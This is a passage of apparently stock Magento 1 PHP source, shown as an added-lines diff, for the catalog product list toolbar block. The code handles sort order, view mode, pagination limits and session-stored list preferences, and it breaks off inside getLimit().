|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Magento
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so we can send you a copy immediately.
|
14 |
+
*
|
15 |
+
* DISCLAIMER
|
16 |
+
*
|
17 |
+
* Do not edit or add to this file if you wish to upgrade Magento to newer
|
18 |
+
* versions in the future. If you wish to customize Magento for your
|
19 |
+
* needs please refer to http://www.magentocommerce.com for more information.
|
20 |
+
*
|
21 |
+
* @category Mage
|
22 |
+
* @package Mage_Catalog
|
23 |
+
* @copyright Copyright (c) 2011 Magento Inc. (http://www.magentocommerce.com)
|
24 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
25 |
+
*/
|
26 |
+
|
27 |
+
|
28 |
+
/**
|
29 |
+
* Product list toolbar
|
30 |
+
*
|
31 |
+
* @category Mage
|
32 |
+
* @package Mage_Catalog
|
33 |
+
* @author Magento Core Team <core@magentocommerce.com>
|
34 |
+
*/
|
35 |
+
class Mage_Catalog_Block_Product_List_Toolbar extends Mage_Core_Block_Template
|
36 |
+
{
|
37 |
+
/**
|
38 |
+
* Products collection
|
39 |
+
*
|
40 |
+
* @var Mage_Core_Model_Mysql4_Collection_Abstract
|
41 |
+
*/
|
42 |
+
protected $_collection = null;
|
43 |
+
|
44 |
+
/**
|
45 |
+
* GET parameter page variable
|
46 |
+
*
|
47 |
+
* @var string
|
48 |
+
*/
|
49 |
+
protected $_pageVarName = 'p';
|
50 |
+
|
51 |
+
/**
|
52 |
+
* GET parameter order variable
|
53 |
+
*
|
54 |
+
* @var string
|
55 |
+
*/
|
56 |
+
protected $_orderVarName = 'order';
|
57 |
+
|
58 |
+
/**
|
59 |
+
* GET parameter direction variable
|
60 |
+
*
|
61 |
+
* @var string
|
62 |
+
*/
|
63 |
+
protected $_directionVarName = 'dir';
|
64 |
+
|
65 |
+
/**
|
66 |
+
* GET parameter mode variable
|
67 |
+
*
|
68 |
+
* @var string
|
69 |
+
*/
|
70 |
+
protected $_modeVarName = 'mode';
|
71 |
+
|
72 |
+
/**
|
73 |
+
* GET parameter limit variable
|
74 |
+
*
|
75 |
+
* @var string
|
76 |
+
*/
|
77 |
+
protected $_limitVarName = 'limit';
|
78 |
+
|
79 |
+
/**
|
80 |
+
* List of available order fields
|
81 |
+
*
|
82 |
+
* @var array
|
83 |
+
*/
|
84 |
+
protected $_availableOrder = array();
|
85 |
+
|
86 |
+
/**
|
87 |
+
* List of available view types
|
88 |
+
*
|
89 |
+
* @var string
|
90 |
+
*/
|
91 |
+
protected $_availableMode = array();
|
92 |
+
|
93 |
+
/**
|
94 |
+
* Is enable View switcher
|
95 |
+
*
|
96 |
+
* @var bool
|
97 |
+
*/
|
98 |
+
protected $_enableViewSwitcher = true;
|
99 |
+
|
100 |
+
/**
|
101 |
+
* Is Expanded
|
102 |
+
*
|
103 |
+
* @var bool
|
104 |
+
*/
|
105 |
+
protected $_isExpanded = true;
|
106 |
+
|
107 |
+
/**
|
108 |
+
* Default Order field
|
109 |
+
*
|
110 |
+
* @var string
|
111 |
+
*/
|
112 |
+
protected $_orderField = null;
|
113 |
+
|
114 |
+
/**
|
115 |
+
* Default direction
|
116 |
+
*
|
117 |
+
* @var string
|
118 |
+
*/
|
119 |
+
protected $_direction = 'desc';
|
120 |
+
|
121 |
+
/**
|
122 |
+
* Default View mode
|
123 |
+
*
|
124 |
+
* @var string
|
125 |
+
*/
|
126 |
+
protected $_viewMode = null;
|
127 |
+
|
128 |
+
/**
|
129 |
+
* Available page limits for different list modes
|
130 |
+
*
|
131 |
+
* @var array
|
132 |
+
*/
|
133 |
+
protected $_availableLimit = array();
|
134 |
+
|
135 |
+
/**
|
136 |
+
* Default limits per page
|
137 |
+
*
|
138 |
+
* @var array
|
139 |
+
*/
|
140 |
+
protected $_defaultAvailableLimit = array(10=>10,20=>20,50=>50);
|
141 |
+
|
142 |
+
/**
|
143 |
+
* @var bool $_paramsMemorizeAllowed
|
144 |
+
*/
|
145 |
+
protected $_paramsMemorizeAllowed = true;
|
146 |
+
|
147 |
+
/**
|
148 |
+
* Retrieve Catalog Config object
|
149 |
+
*
|
150 |
+
* @return Mage_Catalog_Model_Config
|
151 |
+
*/
|
152 |
+
protected function _getConfig()
|
153 |
+
{
|
154 |
+
return Mage::getSingleton('catalog/config');
|
155 |
+
}
|
156 |
+
|
157 |
+
/**
|
158 |
+
* Init Toolbar
|
159 |
+
*
|
160 |
+
*/
|
161 |
+
protected function _construct()
|
162 |
+
{
|
163 |
+
parent::_construct();
|
164 |
+
$this->_orderField = Mage::getStoreConfig(
|
165 |
+
Mage_Catalog_Model_Config::XML_PATH_LIST_DEFAULT_SORT_BY
|
166 |
+
);
|
167 |
+
|
168 |
+
$this->_availableOrder = $this->_getConfig()->getAttributeUsedForSortByArray();
|
169 |
+
|
170 |
+
switch (Mage::getStoreConfig('catalog/frontend/list_mode')) {
|
171 |
+
case 'grid':
|
172 |
+
$this->_availableMode = array('grid' => $this->__('Grid'));
|
173 |
+
break;
|
174 |
+
|
175 |
+
case 'list':
|
176 |
+
$this->_availableMode = array('list' => $this->__('List'));
|
177 |
+
break;
|
178 |
+
|
179 |
+
case 'grid-list':
|
180 |
+
$this->_availableMode = array('grid' => $this->__('Grid'), 'list' => $this->__('List'));
|
181 |
+
break;
|
182 |
+
|
183 |
+
case 'list-grid':
|
184 |
+
$this->_availableMode = array('list' => $this->__('List'), 'grid' => $this->__('Grid'));
|
185 |
+
break;
|
186 |
+
}
|
187 |
+
$this->setTemplate('catalog/product/list/toolbar.phtml');
|
188 |
+
}
|
189 |
+
|
190 |
+
/**
|
191 |
+
* Disable list state params memorizing
|
192 |
+
*/
|
193 |
+
public function disableParamsMemorizing()
|
194 |
+
{
|
195 |
+
$this->_paramsMemorizeAllowed = false;
|
196 |
+
return $this;
|
197 |
+
}
|
198 |
+
|
199 |
+
/**
|
200 |
+
* Memorize parameter value for session
|
201 |
+
*
|
202 |
+
* @param string $param parameter name
|
203 |
+
* @param mixed $value parameter value
|
204 |
+
* @return Mage_Catalog_Block_Product_List_Toolbar
|
205 |
+
*/
|
206 |
+
protected function _memorizeParam($param, $value)
|
207 |
+
{
|
208 |
+
$session = Mage::getSingleton('catalog/session');
|
209 |
+
if ($this->_paramsMemorizeAllowed && !$session->getParamsMemorizeDisabled()) {
|
210 |
+
$session->setData($param, $value);
|
211 |
+
}
|
212 |
+
return $this;
|
213 |
+
}
|
214 |
+
|
215 |
+
/**
|
216 |
+
* Set collection to pager
|
217 |
+
*
|
218 |
+
* @param Varien_Data_Collection $collection
|
219 |
+
* @return Mage_Catalog_Block_Product_List_Toolbar
|
220 |
+
*/
|
221 |
+
public function setCollection($collection)
|
222 |
+
{
|
223 |
+
$this->_collection = $collection;
|
224 |
+
|
225 |
+
$this->_collection->setCurPage($this->getCurrentPage());
|
226 |
+
|
227 |
+
// we need to set pagination only if passed value integer and more that 0
|
228 |
+
$limit = (int)$this->getLimit();
|
229 |
+
if ($limit) {
|
230 |
+
$this->_collection->setPageSize($limit);
|
231 |
+
}
|
232 |
+
if ($this->getCurrentOrder()) {
|
233 |
+
$this->_collection->setOrder($this->getCurrentOrder(), $this->getCurrentDirection());
|
234 |
+
}
|
235 |
+
return $this;
|
236 |
+
}
|
237 |
+
|
238 |
+
/**
|
239 |
+
* Return products collection instance
|
240 |
+
*
|
241 |
+
* @return Mage_Core_Model_Mysql4_Collection_Abstract
|
242 |
+
*/
|
243 |
+
public function getCollection()
|
244 |
+
{
|
245 |
+
return $this->_collection;
|
246 |
+
}
|
247 |
+
|
248 |
+
/**
|
249 |
+
* Getter for $_pageVarName
|
250 |
+
*
|
251 |
+
* @return string
|
252 |
+
*/
|
253 |
+
public function getPageVarName()
|
254 |
+
{
|
255 |
+
return $this->_pageVarName;
|
256 |
+
}
|
257 |
+
|
258 |
+
/**
|
259 |
+
* Retrieve order field GET var name
|
260 |
+
*
|
261 |
+
* @return string
|
262 |
+
*/
|
263 |
+
public function getOrderVarName()
|
264 |
+
{
|
265 |
+
return $this->_orderVarName;
|
266 |
+
}
|
267 |
+
|
268 |
+
/**
|
269 |
+
* Retrieve sort direction GET var name
|
270 |
+
*
|
271 |
+
* @return string
|
272 |
+
*/
|
273 |
+
public function getDirectionVarName()
|
274 |
+
{
|
275 |
+
return $this->_directionVarName;
|
276 |
+
}
|
277 |
+
|
278 |
+
/**
|
279 |
+
* Retrieve view mode GET var name
|
280 |
+
*
|
281 |
+
* @return string
|
282 |
+
*/
|
283 |
+
public function getModeVarName()
|
284 |
+
{
|
285 |
+
return $this->_modeVarName;
|
286 |
+
}
|
287 |
+
|
288 |
+
/**
|
289 |
+
* Getter for $_limitVarName
|
290 |
+
*
|
291 |
+
* @return string
|
292 |
+
*/
|
293 |
+
public function getLimitVarName()
|
294 |
+
{
|
295 |
+
return $this->_limitVarName;
|
296 |
+
}
|
297 |
+
|
298 |
+
/**
|
299 |
+
* Return current page from request
|
300 |
+
*
|
301 |
+
* @return int
|
302 |
+
*/
|
303 |
+
public function getCurrentPage()
|
304 |
+
{
|
305 |
+
if ($page = (int) $this->getRequest()->getParam($this->getPageVarName())) {
|
306 |
+
return $page;
|
307 |
+
}
|
308 |
+
return 1;
|
309 |
+
}
|
310 |
+
|
311 |
+
/**
|
312 |
+
* Get grit products sort order field
|
313 |
+
*
|
314 |
+
* @return string
|
315 |
+
*/
|
316 |
+
public function getCurrentOrder()
|
317 |
+
{
|
318 |
+
$order = $this->_getData('_current_grid_order');
|
319 |
+
if ($order) {
|
320 |
+
return $order;
|
321 |
+
}
|
322 |
+
|
323 |
+
$orders = $this->getAvailableOrders();
|
324 |
+
$defaultOrder = $this->_orderField;
|
325 |
+
|
326 |
+
if (!isset($orders[$defaultOrder])) {
|
327 |
+
$keys = array_keys($orders);
|
328 |
+
$defaultOrder = $keys[0];
|
329 |
+
}
|
330 |
+
|
331 |
+
$order = $this->getRequest()->getParam($this->getOrderVarName());
|
332 |
+
if ($order && isset($orders[$order])) {
|
333 |
+
if ($order == $defaultOrder) {
|
334 |
+
Mage::getSingleton('catalog/session')->unsSortOrder();
|
335 |
+
} else {
|
336 |
+
$this->_memorizeParam('sort_order', $order);
|
337 |
+
}
|
338 |
+
} else {
|
339 |
+
$order = Mage::getSingleton('catalog/session')->getSortOrder();
|
340 |
+
}
|
341 |
+
// validate session value
|
342 |
+
if (!$order || !isset($orders[$order])) {
|
343 |
+
$order = $defaultOrder;
|
344 |
+
}
|
345 |
+
$this->setData('_current_grid_order', $order);
|
346 |
+
return $order;
|
347 |
+
}
|
348 |
+
|
349 |
+
/**
|
350 |
+
* Retrieve current direction
|
351 |
+
*
|
352 |
+
* @return string
|
353 |
+
*/
|
354 |
+
public function getCurrentDirection()
|
355 |
+
{
|
356 |
+
$dir = $this->_getData('_current_grid_direction');
|
357 |
+
if ($dir) {
|
358 |
+
return $dir;
|
359 |
+
}
|
360 |
+
|
361 |
+
$directions = array('asc', 'desc');
|
362 |
+
$dir = strtolower($this->getRequest()->getParam($this->getDirectionVarName()));
|
363 |
+
if ($dir && in_array($dir, $directions)) {
|
364 |
+
if ($dir == $this->_direction) {
|
365 |
+
Mage::getSingleton('catalog/session')->unsSortDirection();
|
366 |
+
} else {
|
367 |
+
$this->_memorizeParam('sort_direction', $dir);
|
368 |
+
}
|
369 |
+
} else {
|
370 |
+
$dir = Mage::getSingleton('catalog/session')->getSortDirection();
|
371 |
+
}
|
372 |
+
// validate direction
|
373 |
+
if (!$dir || !in_array($dir, $directions)) {
|
374 |
+
$dir = $this->_direction;
|
375 |
+
}
|
376 |
+
$this->setData('_current_grid_direction', $dir);
|
377 |
+
return $dir;
|
378 |
+
}
|
379 |
+
|
380 |
+
/**
|
381 |
+
* Set default Order field
|
382 |
+
*
|
383 |
+
* @param string $field
|
384 |
+
* @return Mage_Catalog_Block_Product_List_Toolbar
|
385 |
+
*/
|
386 |
+
public function setDefaultOrder($field)
|
387 |
+
{
|
388 |
+
if (isset($this->_availableOrder[$field])) {
|
389 |
+
$this->_orderField = $field;
|
390 |
+
}
|
391 |
+
return $this;
|
392 |
+
}
|
393 |
+
|
394 |
+
/**
|
395 |
+
* Set default sort direction
|
396 |
+
*
|
397 |
+
* @param string $dir
|
398 |
+
* @return Mage_Catalog_Block_Product_List_Toolbar
|
399 |
+
*/
|
400 |
+
public function setDefaultDirection($dir)
|
401 |
+
{
|
402 |
+
if (in_array(strtolower($dir), array('asc', 'desc'))) {
|
403 |
+
$this->_direction = strtolower($dir);
|
404 |
+
}
|
405 |
+
return $this;
|
406 |
+
}
|
407 |
+
|
408 |
+
/**
|
409 |
+
* Retrieve available Order fields list
|
410 |
+
*
|
411 |
+
* @return array
|
412 |
+
*/
|
413 |
+
public function getAvailableOrders()
|
414 |
+
{
|
415 |
+
return $this->_availableOrder;
|
416 |
+
}
|
417 |
+
|
418 |
+
/**
|
419 |
+
* Set Available order fields list
|
420 |
+
*
|
421 |
+
* @param array $orders
|
422 |
+
* @return Mage_Catalog_Block_Product_List_Toolbar
|
423 |
+
*/
|
424 |
+
public function setAvailableOrders($orders)
|
425 |
+
{
|
426 |
+
$this->_availableOrder = $orders;
|
427 |
+
return $this;
|
428 |
+
}
|
429 |
+
|
430 |
+
/**
|
431 |
+
* Add order to available orders
|
432 |
+
*
|
433 |
+
* @param string $order
|
434 |
+
* @param string $value
|
435 |
+
* @return Mage_Catalog_Block_Product_List_Toolbar
|
436 |
+
*/
|
437 |
+
public function addOrderToAvailableOrders($order, $value)
|
438 |
+
{
|
439 |
+
$this->_availableOrder[$order] = $value;
|
440 |
+
return $this;
|
441 |
+
}
|
442 |
+
/**
|
443 |
+
* Remove order from available orders if exists
|
444 |
+
*
|
445 |
+
* @param string $order
|
446 |
+
* @param Mage_Catalog_Block_Product_List_Toolbar
|
447 |
+
*/
|
448 |
+
public function removeOrderFromAvailableOrders($order)
|
449 |
+
{
|
450 |
+
if (isset($this->_availableOrder[$order])) {
|
451 |
+
unset($this->_availableOrder[$order]);
|
452 |
+
}
|
453 |
+
return $this;
|
454 |
+
}
|
455 |
+
|
456 |
+
/**
|
457 |
+
* Compare defined order field vith current order field
|
458 |
+
*
|
459 |
+
* @param string $order
|
460 |
+
* @return bool
|
461 |
+
*/
|
462 |
+
public function isOrderCurrent($order)
|
463 |
+
{
|
464 |
+
return ($order == $this->getCurrentOrder());
|
465 |
+
}
|
466 |
+
|
467 |
+
/**
|
468 |
+
* Retrieve Pager URL
|
469 |
+
*
|
470 |
+
* @param string $order
|
471 |
+
* @param string $direction
|
472 |
+
* @return string
|
473 |
+
*/
|
474 |
+
public function getOrderUrl($order, $direction)
|
475 |
+
{
|
476 |
+
if (is_null($order)) {
|
477 |
+
$order = $this->getCurrentOrder() ? $this->getCurrentOrder() : $this->_availableOrder[0];
|
478 |
+
}
|
479 |
+
return $this->getPagerUrl(array(
|
480 |
+
$this->getOrderVarName()=>$order,
|
481 |
+
$this->getDirectionVarName()=>$direction,
|
482 |
+
$this->getPageVarName() => null
|
483 |
+
));
|
484 |
+
}
|
485 |
+
|
486 |
+
/**
|
487 |
+
* Return current URL with rewrites and additional parameters
|
488 |
+
*
|
489 |
+
* @param array $params Query parameters
|
490 |
+
* @return string
|
491 |
+
*/
|
492 |
+
public function getPagerUrl($params=array())
|
493 |
+
{
|
494 |
+
$urlParams = array();
|
495 |
+
$urlParams['_current'] = true;
|
496 |
+
$urlParams['_escape'] = true;
|
497 |
+
$urlParams['_use_rewrite'] = true;
|
498 |
+
$urlParams['_query'] = $params;
|
499 |
+
return $this->getUrl('*/*/*', $urlParams);
|
500 |
+
}
|
501 |
+
|
502 |
+
/**
|
503 |
+
* Retrieve current View mode
|
504 |
+
*
|
505 |
+
* @return string
|
506 |
+
*/
|
507 |
+
public function getCurrentMode()
|
508 |
+
{
|
509 |
+
$mode = $this->_getData('_current_grid_mode');
|
510 |
+
if ($mode) {
|
511 |
+
return $mode;
|
512 |
+
}
|
513 |
+
$modes = array_keys($this->_availableMode);
|
514 |
+
$defaultMode = current($modes);
|
515 |
+
$mode = $this->getRequest()->getParam($this->getModeVarName());
|
516 |
+
if ($mode) {
|
517 |
+
if ($mode == $defaultMode) {
|
518 |
+
Mage::getSingleton('catalog/session')->unsDisplayMode();
|
519 |
+
} else {
|
520 |
+
$this->_memorizeParam('display_mode', $mode);
|
521 |
+
}
|
522 |
+
} else {
|
523 |
+
$mode = Mage::getSingleton('catalog/session')->getDisplayMode();
|
524 |
+
}
|
525 |
+
|
526 |
+
if (!$mode || !isset($this->_availableMode[$mode])) {
|
527 |
+
$mode = $defaultMode;
|
528 |
+
}
|
529 |
+
$this->setData('_current_grid_mode', $mode);
|
530 |
+
return $mode;
|
531 |
+
}
|
532 |
+
|
533 |
+
/**
|
534 |
+
* Compare defined view mode with current active mode
|
535 |
+
*
|
536 |
+
* @param string $mode
|
537 |
+
* @return bool
|
538 |
+
*/
|
539 |
+
public function isModeActive($mode)
|
540 |
+
{
|
541 |
+
return $this->getCurrentMode() == $mode;
|
542 |
+
}
|
543 |
+
|
544 |
+
/**
|
545 |
+
* Retrieve availables view modes
|
546 |
+
*
|
547 |
+
* @return array
|
548 |
+
*/
|
549 |
+
public function getModes()
|
550 |
+
{
|
551 |
+
return $this->_availableMode;
|
552 |
+
}
|
553 |
+
|
554 |
+
/**
|
555 |
+
* Set available view modes list
|
556 |
+
*
|
557 |
+
* @param array $modes
|
558 |
+
* @return Mage_Catalog_Block_Product_List_Toolbar
|
559 |
+
*/
|
560 |
+
public function setModes($modes)
|
561 |
+
{
|
562 |
+
if(!isset($this->_availableMode)){
|
563 |
+
$this->_availableMode = $modes;
|
564 |
+
}
|
565 |
+
return $this;
|
566 |
+
}
|
567 |
+
|
568 |
+
/**
|
569 |
+
* Retrive URL for view mode
|
570 |
+
*
|
571 |
+
* @param string $mode
|
572 |
+
* @return string
|
573 |
+
*/
|
574 |
+
public function getModeUrl($mode)
|
575 |
+
{
|
576 |
+
return $this->getPagerUrl( array($this->getModeVarName()=>$mode, $this->getPageVarName() => null) );
|
577 |
+
}
|
578 |
+
|
579 |
+
/**
|
580 |
+
* Disable view switcher
|
581 |
+
*
|
582 |
+
* @return Mage_Catalog_Block_Product_List_Toolbar
|
583 |
+
*/
|
584 |
+
public function disableViewSwitcher()
|
585 |
+
{
|
586 |
+
$this->_enableViewSwitcher = false;
|
587 |
+
return $this;
|
588 |
+
}
|
589 |
+
|
590 |
+
/**
|
591 |
+
* Enable view switcher
|
592 |
+
*
|
593 |
+
* @return Mage_Catalog_Block_Product_List_Toolbar
|
594 |
+
*/
|
595 |
+
public function enableViewSwitcher()
|
596 |
+
{
|
597 |
+
$this->_enableViewSwitcher = true;
|
598 |
+
return $this;
|
599 |
+
}
|
600 |
+
|
601 |
+
/**
|
602 |
+
* Is a enabled view switcher
|
603 |
+
*
|
604 |
+
* @return bool
|
605 |
+
*/
|
606 |
+
public function isEnabledViewSwitcher()
|
607 |
+
{
|
608 |
+
return $this->_enableViewSwitcher;
|
609 |
+
}
|
610 |
+
|
611 |
+
/**
|
612 |
+
* Disable Expanded
|
613 |
+
*
|
614 |
+
* @return Mage_Catalog_Block_Product_List_Toolbar
|
615 |
+
*/
|
616 |
+
public function disableExpanded()
|
617 |
+
{
|
618 |
+
$this->_isExpanded = false;
|
619 |
+
return $this;
|
620 |
+
}
|
621 |
+
|
622 |
+
/**
|
623 |
+
* Enable Expanded
|
624 |
+
*
|
625 |
+
* @return Mage_Catalog_Block_Product_List_Toolbar
|
626 |
+
*/
|
627 |
+
public function enableExpanded()
|
628 |
+
{
|
629 |
+
$this->_isExpanded = true;
|
630 |
+
return $this;
|
631 |
+
}
|
632 |
+
|
633 |
+
/**
|
634 |
+
* Check is Expanded
|
635 |
+
*
|
636 |
+
* @return bool
|
637 |
+
*/
|
638 |
+
public function isExpanded()
|
639 |
+
{
|
640 |
+
return $this->_isExpanded;
|
641 |
+
}
|
642 |
+
|
643 |
+
/**
|
644 |
+
* Retrieve default per page values
|
645 |
+
*
|
646 |
+
* @return string (comma separated)
|
647 |
+
*/
|
648 |
+
public function getDefaultPerPageValue()
|
649 |
+
{
|
650 |
+
if ($this->getCurrentMode() == 'list') {
|
651 |
+
if ($default = $this->getDefaultListPerPage()) {
|
652 |
+
return $default;
|
653 |
+
}
|
654 |
+
return Mage::getStoreConfig('catalog/frontend/list_per_page');
|
655 |
+
}
|
656 |
+
elseif ($this->getCurrentMode() == 'grid') {
|
657 |
+
if ($default = $this->getDefaultGridPerPage()) {
|
658 |
+
return $default;
|
659 |
+
}
|
660 |
+
return Mage::getStoreConfig('catalog/frontend/grid_per_page');
|
661 |
+
}
|
662 |
+
return 0;
|
663 |
+
}
|
664 |
+
|
665 |
+
/**
|
666 |
+
* Add new limit to pager for mode
|
667 |
+
*
|
668 |
+
* @param string $mode
|
669 |
+
* @param string $value
|
670 |
+
* @param string $label
|
671 |
+
* @return Mage_Catalog_Block_Product_List_Toolbar
|
672 |
+
*/
|
673 |
+
public function addPagerLimit($mode, $value, $label='')
|
674 |
+
{
|
675 |
+
if (!isset($this->_availableLimit[$mode])) {
|
676 |
+
$this->_availableLimit[$mode] = array();
|
677 |
+
}
|
678 |
+
$this->_availableLimit[$mode][$value] = empty($label) ? $value : $label;
|
679 |
+
return $this;
|
680 |
+
}
|
681 |
+
|
682 |
+
/**
|
683 |
+
* Retrieve available limits for current view mode
|
684 |
+
*
|
685 |
+
* @return array
|
686 |
+
*/
|
687 |
+
public function getAvailableLimit()
|
688 |
+
{
|
689 |
+
$currentMode = $this->getCurrentMode();
|
690 |
+
if (in_array($currentMode, array('list', 'grid'))) {
|
691 |
+
return $this->_getAvailableLimit($currentMode);
|
692 |
+
} else {
|
693 |
+
return $this->_defaultAvailableLimit;
|
694 |
+
}
|
695 |
+
}
|
696 |
+
|
697 |
+
/**
|
698 |
+
* Retrieve available limits for specified view mode
|
699 |
+
*
|
700 |
+
* @return array
|
701 |
+
*/
|
702 |
+
protected function _getAvailableLimit($mode)
|
703 |
+
{
|
704 |
+
if (isset($this->_availableLimit[$mode])) {
|
705 |
+
return $this->_availableLimit[$mode];
|
706 |
+
}
|
707 |
+
$perPageConfigKey = 'catalog/frontend/' . $mode . '_per_page_values';
|
708 |
+
$perPageValues = (string)Mage::getStoreConfig($perPageConfigKey);
|
709 |
+
$perPageValues = explode(',', $perPageValues);
|
710 |
+
$perPageValues = array_combine($perPageValues, $perPageValues);
|
711 |
+
if (Mage::getStoreConfigFlag('catalog/frontend/list_allow_all')) {
|
712 |
+
return ($perPageValues + array('all'=>$this->__('All')));
|
713 |
+
} else {
|
714 |
+
return $perPageValues;
|
715 |
+
}
|
716 |
+
}
|
717 |
+
|
718 |
+
/**
|
719 |
+
* Get specified products limit display per page
|
720 |
+
*
|
721 |
+
* @return string
|
722 |
+
*/
|
723 |
+
public function getLimit()
|
724 |
+
{
|
725 |
+
$limit = $this->_getData('_current_limit');
|
726 |
+
if ($limit) {
|
727 |
+
return $limit;
|
728 |
+
}
|
